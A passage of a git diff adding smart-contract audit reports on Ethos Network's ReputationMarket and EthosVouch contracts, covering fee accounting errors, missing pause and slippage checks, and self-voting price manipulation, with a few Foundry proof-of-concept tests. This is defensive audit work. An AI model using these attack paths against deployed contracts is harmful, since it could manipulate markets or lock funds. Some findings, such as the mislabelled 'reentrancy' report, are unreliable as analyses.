subjectProfileId, msg.value); + } +``` +However, this crucial function does not have a `whenNotPaused` modifier. + +### Internal pre-conditions + +* The contract includes a `whenNotPaused` modifier to restrict access to critical functions during emergencies. +* Most critical functions implement this modifier, except `increaseVouch`. + + +### External pre-conditions + +* The contract is paused due to an attack, bug, or other emergency situations. +* A malicious or unaware user calls the `increaseVouch` function during this period. + +### Attack Path + +* The contract administrator pauses the contract to address a vulnerability or attack. +* A user calls the `increaseVouch` function, which is not restricted by the `whenNotPaused` modifier. +* This action could: + * Introduce new vulnerabilities. + * Allow exploitation of other components of the contract indirectly. + * Undermine the administrator’s ability to mitigate the emergency effectively. + +### Impact + +* Exploiting `increaseVouch` during a paused state can exacerbate existing vulnerabilities. +* It undermines the purpose of pausing the contract, limiting the effectiveness of emergency responses. +* Users and stakeholders may lose confidence in the contract's reliability and security mechanisms. + +### PoC + +* Pause this smart contract. +* Attempt to call `increaseVouch` while the contract is paused. +* Observe that the call is successful, bypassing the pause mechanism. + + + + + +### Mitigation + +Include the `whenNotPaused` modifier to the `increaseVouch` function to align it with the behavior of other critical functions. + +```Solidity +function increaseVouch(uint256 subjectProfileId) external payable whenNotPaused { + // Function logic +} +``` \ No newline at end of file diff --git a/134.md b/134.md new file mode 100644 index 0000000..05175f1 --- /dev/null +++ b/134.md @@ -0,0 +1,71 @@ +Bubbly Porcelain Blackbird + +High + +# Incorrect `marketsFunds` states update while `buyVotes()`, cause market funds to be stuck on graduation + +### Summary + +The `marketsFunds[]` contract state tracks the current invested funds in the market. These funds can only be withdrawn upon graduation. However, due to [incorrect accounting](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) in `marketFunds` while buying votes, the graduation process will not work. Consequently, the funds cannot be withdrawn. + +### Root Cause +Generally, when user `buyVotes()`, they pays a `protocolFee` and `donation` amount, along the amount with which votes have been bought, if excess eth is sent, it trasnfer back to the buyer. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +Among fees, the `protocolFee` is immediately taken out, and other side internal accounting for donation amount has been kept track in `donationEscrow` + +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` + +which is withdrawable anytime via [`withdrawDonations()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L570) + +and after further accounting, the `marketFunds[profileId]` has been updated with `fundsPaid`. The issue here is that the `fundsPaid` amount includes the `protocolFee` and `donation`, which, as we already know, are processed above. + +As a result, the marketFunds value for that profile is overstated, and during graduation, it reverts because it attempts to withdraw more than it should. + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { +...snip... + _sendEth(marketFunds[profileId]); >>> @audit transfer eth fails + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +### Attack Path +1. A new market is created with `50 ether` as initialLiquidity, so `marketFunds[1]==50 ether` +2. Alice `buyVotes` with `100 ether`, on which a total 10% fee(protocolFee + donation) is charged, the `5 ether` is immediately transferred and rest `5 ether` is cached in internal state, consider which is also withdrawn later +3. The `marketFunds[1]` state updates to `150 ether`, where in actual there is only `140 ether` as balance. Note that, with each `buyVotes()`, the `marketFunds[1]` value get more inflated +4. When it graduates, and `withdrawGraduatedMarketFunds()` get called, the txn will revert. +### Impact +Permanent locking of funds + +### Mitigation +```diff + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { +...snip... + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; +``` diff --git a/135.md b/135.md new file mode 100644 index 0000000..92ca001 --- /dev/null +++ b/135.md @@ -0,0 +1,139 @@ +Fun Shamrock Wasp + +High + +# Incorrect accounting of `marketFunds` in `ReputationMarket::buyVotes` + +### Summary + +`marketFunds` is used to track how many funds the market has raised so far, and when a market is graduated, all of its funds will be sent to the graduate contract for further distribution. However, in `buyVotes`, the accounting is incorrect, which will cause more than actual amount of funds being added to `marketFunds`, causing potential DoS and even loss of funds. + +### Root Cause + +In `buyVotes`, the exact amount will be paid is calculated [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978): +```soldity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +And as we can see near the end of function, `fundsPaid` also includes all fees derived. Later in `buyVotes`: +```solidity + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; +``` + +We see `fundsPaid` is used to account the market fund, which also includes fee, but this is incorrect, as protocol fees will be immediately sent to fee recipient, and donation fees can also be claimed by market fee recipient, all of those amount should not be included in the total market funds. This raises an issue, when a market is graduated and its funds are withdrawn, all the recorded amount is sent out: +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +But since when dealing with `buyVotes`, fees are included, this mean, it will sent out more than expected, with the contract only hold assets less than this amount. For the first few graduations, it should work fine, but the last one may not have enough fund to cover vote sellings and graduation, leaving funds to stuck in the contract. + +### Internal pre-conditions + +Users create market and buy/sell votes like normal. For example, Alice created a market with liquidity of 1000 wei, and Bob later buys votes for 30 wei, this 30 wei is 27 wei to market, 2 wei to protocol, and 1 wei for donation. So the actual market funds, which the contract can cover is 1027, but in record, it's 1030. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When such market is graduated, it will fail, because it just simply doesn't have the funds to cover the transfer, leaving all market funds potentially stuck. + +### PoC + +_No response_ + +### Mitigation + +Don't add fees to `fundRaised` in `_calculateBuy`, just like how it's done in `_calculateSell`. \ No newline at end of file diff --git a/136.md b/136.md new file mode 100644 index 0000000..ee47444 --- /dev/null +++ b/136.md @@ -0,0 +1,69 @@ +Fun Shamrock Wasp + +High + +# Missing slippage control in `ReputationMarket::sellVotes` + +### Summary + +In `ReputationMarket`, users can buy and sell votes freely, either as a way of supporting profiles, or simply as a trade and arbitrage. `buyVotes` offers a parameter to do slippage control, in case of less votes are bought, but `sellVotes` doesn't have one, can cause users to lose some sold amount. + +### Root Cause + +We can see there is a slippage check in `buyVotes`: +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); +``` +But missing in [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495C3-L499C64): +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { +``` + +The reason behind slippage in buying votes is, for some market, the price of votes can be volatile, with the same ETH provided, less votes can be bought, but the root cause of this is due to rapid price change. The same thing can also happen when an user is selling votes, especially for normal markets, as the base votes are quite low, making it more possible to have fluctuating price. This will make user who is selling votes suffering slippage, and lose funds for the same amount of votes sold. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When the market price is volatile, vote sellers can experience loss of funds due to lack of slippage protection. + +### PoC + +_No response_ + +### Mitigation + +Also add slippage control for `sellVotes` \ No newline at end of file diff --git a/137.md b/137.md new file mode 100644 index 0000000..c89063a --- /dev/null +++ b/137.md @@ -0,0 +1,91 @@ +Generous Opaque Pigeon + +High + +# Reentrancy Issue in updateDonationRecipient Function of ReputationMarket Contract + +### Summary + +During the analysis of the ReputationMarket smart contract, a reentrancy vulnerability was discovered concerning the updateDonationRecipient function. This vulnerability allows malicious actors to block the update of the donation recipient's address, resulting in funds becoming "stuck" with the existing recipient. This report provides a detailed examination of the nature of the vulnerability, the mechanisms behind its emergence, and the potential consequences. + + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L544-L564 + +```solidity +function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + if (newRecipient == address(0)) revert ZeroAddress(); + // Check the balance of the new recipient + require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); + ... +} +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker creates a malicious contract that can call the updateDonationRecipient function. + +2. When attempting to update the donation recipient's address, the function checks the balance and rejects the operation if it's not zero. + +3. As a result, donations continue to go to the old address, and users cannot retrieve their funds. + + + + +### Impact + +_No response_ + +### PoC +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./ReputationMarket.sol"; + +contract PoC { + ReputationMarket public reputationMarket; + uint256 public profileId; + + constructor(address _reputationMarket, uint256 _profileId) { + reputationMarket = ReputationMarket(_reputationMarket); + profileId = _profileId; + } + + function update() external { + reputationMarket.updateDonationRecipient(profileId, address(this)); + } + + function attack() external { + reputationMarket.updateDonationRecipient(profileId, address(this)); + } +} +``` +### Mitigation + +```solidity +function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + if (newRecipient == address(0)) revert ZeroAddress(); + + // Logic to safely update the donation recipient + address oldRecipient = getCurrentDonationRecipient(profileId); + + // Transfer donations if necessary + if (donationEscrow[oldRecipient] > 0) { + // Logic to handle the transfer of donations + } + + donationEscrow[newRecipient] = 0; // Reset the balance of the new recipient + emit DonationRecipientUpdated(profileId, newRecipient); + } +``` \ No newline at end of file diff --git a/138.md b/138.md new file mode 100644 index 0000000..0e5d44e --- /dev/null +++ b/138.md @@ -0,0 +1,120 @@ +Dancing Khaki Moose + +High + +# Incorrect initial liquidity at market configs + +### Summary + +- [Default tier](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L219-L229) + +```solidity + // Default tier + // - Minimum viable liquidity for small/new markets + // - 0.002 ETH initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE, + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); +``` +The comment seems to contain some inconsistencies regarding the values of `initialLiquidity` and `DEFAULT_PRICE`. +However, I couldn't find any documentation for this configuration setting. +Here's a corrected version to clarify: +At the comment, the initial liquidity is stated as 0.002 ether, but in reality, `initialLiquidity` is 0.02 ether since `DEFAULT_PRICE` is 0.01 ether. +However, because **Initial liquidity must be >= `DEFAULT_PRICE` (0.01 ether)**, the correct value should be `2 * DEFAULT_PRICE`, which is 0.02 ether. Therefore, the comment should be corrected to reflect that `initialLiquidity` is indeed 0.02 ether." +This revision clarifies that the initial liquidity is correctly set at 0.02 ether, aligning with the requirement that it must be greater than or equal to `DEFAULT_PRICE`. + +- [Deluxe tier](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L231-L241) + +```solidity + // Deluxe tier + // - Moderate liquidity for established profiles + // - 0.05 ETH initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); +``` + +If you would like to set the initial liquidity of the deluxe tier to 0.05 ETH, please update the code as follows. + +```solidity + // Deluxe tier + // - Moderate liquidity for established profiles + // - 0.05 ETH initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ ++ initialLiquidity: 5 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); +``` + +We can find similar issues in the Premium tier. + +```solidity + // Premium tier + // - High liquidity for stable price discovery + // - 0.1 ETH initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ ++ initialLiquidity: 10 * DEFAULT_PRICE, + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); +``` +Or +```solidity + // Premium tier + // - High liquidity for stable price discovery ++ // - 1 ETH initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 100 * DEFAULT_PRICE, + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); +``` + + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Please update comments or codes correctly. diff --git a/139.md b/139.md new file mode 100644 index 0000000..9b12582 --- /dev/null +++ b/139.md @@ -0,0 +1,53 @@ +Striped Fuchsia Fly + +Medium + +# Total fees can exceed 10% + +### Summary + +The total fees in the contract `EthosVouch` can exceed 10%, which is contradicted to README + +### Root Cause + +- The constant `MAX_TOTAL_FEES` is used to [check if total fees exceeded](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004). +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +However, [the constant is set `uint256 public constant MAX_TOTAL_FEES = 10000` ](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120C3-L120C50), which is equivalent to 100% + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Total fees can exceeded 10% + +### PoC + +_No response_ + +### Mitigation + +```diff +-uint256 public constant MAX_TOTAL_FEES = 10000 ++uint256 public constant MAX_TOTAL_FEES = 1000 +``` \ No newline at end of file diff --git a/140.md b/140.md new file mode 100644 index 0000000..ca64cf9 --- /dev/null +++ b/140.md @@ -0,0 +1,119 @@ +Slow Tan Swallow + +Medium + +# `isParticipant` and `participants` are not properly handled + +### Summary + +These 2 variables track all profiles who have been voted for (users bought votes for them). They are used to calculate the trust/distrust for the off-chain calculations and for graduation of each market. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L119-L123 +```solidity + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; + + // profileId => participant => isParticipant + mapping(uint256 => mapping(address => bool)) public isParticipant; +``` + + +When users buy votes using `buyVotes` their vote count for the buyer is increased by the new amount and they are added to an array with all buyers for this `profileId` and a map that tracks if a user is part of this array. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L466-L478 +```solidity + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } +``` + +However later when they sell their vote they are not removed from the array and map: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 +```solidity + function sellVotes(...) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + _sendEth(fundsReceived); + + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +This means that once a user is added to that array he is never removed, even if he sells 100% of his votes. + +### Root Cause + +`sellVotes` not removing users from `isParticipant` and `participants` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User buys a vote for Alice and sells it in 1 TX (only pays a small fee) he is now a participant of Alice campaign + + +### Impact + +User will be forever participants, no matter if they have sold 100% of their votes or not. Once a participant, always one + +### PoC + +_No response_ + +### Mitigation + +Removing users from `isParticipant` if they sell 100% of their votes. Simple example: + +```diff + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + ++ if(votesOwned[msg.sender][profileId].votes[TRUST] == 0 && votesOwned[msg.sender][profileId].votes[DISTRUST] == 0){ ++ isParticipant[profileId][msg.sender] = false; ++ } + + applyFees(protocolFee, 0, profileId); + _sendEth(fundsReceived); +``` \ No newline at end of file diff --git a/141.md b/141.md new file mode 100644 index 0000000..2af8b6d --- /dev/null +++ b/141.md @@ -0,0 +1,40 @@ +Plain Midnight Peacock + +High + +# Use buyVotes and sellVotes on ReputationMarket to steal money + +### Summary + +For there is no time set or check on buyVotes and sellVotes. For a specific market if the attacker want to earn money, he can buy any of TRUST AND DISTRUST votes and sell the vote immidiately to earn the money if the fee is less than the diff of buy and sell. From the doc, the contract isn't designed to make others to earn money but to make a reputation market. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L534 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923 + +The attacker can earn money from buying any TRUST or DISTRUST votes and selling it immediately. For an example, if the market has TRUST votes of number a and DISTRUST votes of number b. The price of buying one TRUST vote's price is a*market.basePrice/(a+b). After buying one TRUST vote, the market has a+1 votes of TRUST and b votes of DISTRUST.Now the attacker can sell the TRUST vote he just buy. The sell money is (a+1)*market.basePrice/(a+b+1). Obviously the (a+1)/(a+b+1) is larger than a/(a+b). If the diff is larger than the fee which attacker will pay, the attacker can steal money from the contract. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Buy vote and sell the vote immediately to steal the money from the market. + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/142.md b/142.md new file mode 100644 index 0000000..578fc05 --- /dev/null +++ b/142.md @@ -0,0 +1,87 @@ +Passive Zinc Dinosaur + +Medium + +# Incorrect Fee Apply + +### Summary +`marketFunds[profileId]` is greater than actual value. + +### Root Cause +In the `buyVotes()` function, `marketFunds[profileId]` is increased including the protocol fees and donations. +In the `sellVotes()` function, `marketFunds[profileId]` is decreased to exclulding the the protocol fees. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +`marketFunds[profileId]` is greater than acutual funds invested in this market. +Thus, the `withdrawGraduatedMarketFunds()` function withdraw more than intended. + +### PoC +ReputationMarket.sol +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +675 _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } + + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + ... +477 uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +481 marketFunds[profileId] += fundsPaid; + ... + } +``` +In the `buyVotes()` function, `marketFunds[profileId]` is increased by all funds sent by buyer including protocol fees and donations. + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + ... + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +522: marketFunds[profileId] -= fundsReceived; + ... + } +``` +In the `sellVotes()` function, `marketFunds[profileId]` is only decreased the funds sent to the seller, excluding protocol fees. + +### Mitigation diff --git a/143.md b/143.md new file mode 100644 index 0000000..ed52925 --- /dev/null +++ b/143.md @@ -0,0 +1,96 @@ +Bald Goldenrod Elephant + +High + +# The profile owner can manipulate their market's vote price and their reputation + +### Summary + +The lack of profile owner address and `msg.sender` equal check in `ReputationMarket::buyVotes` and `ReputationMarket::sellVotes` allows the Market or Profile owner to manipulate vote prices by buying and selling their own votes. + +### Root Cause + +The **`ReputationMarket.sol`** contract is missing a check for the profile owner address in both the [`buyVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) and [`sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) functions. This omission makes the vote prices in the market vulnerable to manipulation by the market owner. Although there is a check to verify if the market exists and is active, there is no check to confirm whether the sender is the owner of the profile. + +This contradicts the protocol's invariant : _The vote prices fluctuate dynamically based on demand, where an increase in trust votes implies higher reputation, and an increase in distrust votes implies lower reputation._ + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The profile owner must create a market with a valid `marketConfigIndex`. +2. Once the market is created, the owner can call `buyVotes()` or `sellVotes()` to manipulate their own reputation. + +### Impact + +This vulnerability undermines the core functionality of the protocol, which is to establish reputation through Trust and Distrust votes via the market. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import { ReputationMarket } from "../contracts/ReputationMarket.sol"; +import { EthosProfile } from "../contracts/EthosProfile.sol"; +import { Test } from "../../../../lib/forge-std/src/Test.sol"; + +contract ReputationMarketTest is Test { + ReputationMarket reputationMarket; + EthosProfile ethosProfile; + address USER1 = address(1); + uint256 ownerProfileId; + + function setUp() external { + vm.startPrank(USER1); + ethosProfile = new EthosProfile(); + ethosProfile.initialize(USER1, USER1, USER1, USER1, USER1); + (, , , ownerProfileId) = ethosProfile.profileStatusByAddress(USER1); + reputationMarket = new ReputationMarket(); + reputationMarket.initialize(USER1, USER1, USER1, USER1, USER1); + reputationMarket.setUserAllowedToCreateMarket(ownerProfileId, true); + vm.deal(USER1, 1 ether); + reputationMarket.createMarketWithConfig{ value: 1 ether }(1); + vm.stopPrank(); + } + + function testOwnerCanBuyVotes() public { + vm.startPrank(USER1); + vm.deal(USER1, 10 ether); + uint256 trustVotePriceBefore = reputationMarket.getVotePrice(ownerProfileId, true); + (uint256 expectedVotes, , , , , , ) = reputationMarket.simulateBuy( + ownerProfileId, + true, + 2 ether + ); + reputationMarket.buyVotes{ value: 2 ether }(ownerProfileId, true, expectedVotes, 10); + uint256 trustVotePriceAfter = reputationMarket.getVotePrice(ownerProfileId, true); + vm.expectRevert(); + //This will revert as owner can buy their own votes and can manipulate the price + assert(trustVotePriceAfter == trustVotePriceBefore); + vm.stopPrank(); + } +} +``` +`trustVotePriceAfter` and `trustVotePriceBefore` are not equal, means the creator of the market can manipulate the vote price, thereby altering their own reputation. + +### Mitigation + +```solidity + +error AddressNotAuthorizedToBuyOrSellVotes(); + + function checkSenderAndProfileAddress(uint256 profileId) public view { + if (_ethosProfileContract().addressBelongsToProfile(msg.sender, profileId)) { + revert AddressNotAuthorizedToBuyOrSellVotes(); + } + } +``` +Add this check at `ReputationMarket::buyVotes` and `ReputationMarket::sellVotes` \ No newline at end of file diff --git a/144.md b/144.md new file mode 100644 index 0000000..c0582e6 --- /dev/null +++ b/144.md @@ -0,0 +1,68 @@ +Passive Zinc Dinosaur + +Medium + +# More Fees + +### Summary +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L978 + +### Root Cause +There are several fees. But `EthosVouch.sol::calcFee` is concidered one fee. + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +This contract deceive users and take more fees than the set fees. + +### PoC + +```solidity +EthosVouch.sol +975: function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +929: function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees +936: uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +937: uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +938: uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + ... +951: totalFees = protocolFee + donationFee + vouchersPoolFee; +952: toDeposit = amount - totalFees; + ... +``` +When we look at `entryProtocolFeeBasisPoints = 500`, `entryDonationFeeBasisPoints = 500` and `entryVouchersPoolFeeBasisPoints = 500`. + protocolFee = amount * 5/105 + donationFee = amount * 5/105 + vouchersPoolFee = amount * 5/105 + toDeposit = amount * 90/105 + real protocolFee percent = 5/90 > 0.05 + real donationFee percent = 5/90 > 0.05 + real vouchersPoolFee percent = 5/90 > 0.05 + +### Mitigation \ No newline at end of file diff --git a/145.md b/145.md new file mode 100644 index 0000000..b3046d9 --- /dev/null +++ b/145.md @@ -0,0 +1,115 @@ +Striped Fuchsia Fly + +High + +# Slashing penalty can be mitigated by unvouching + +### Summary + +Lack of locking mechanism will allow the users to unvouch before getting slashed in order to mitigate penalty + +### Root Cause + +- The [function 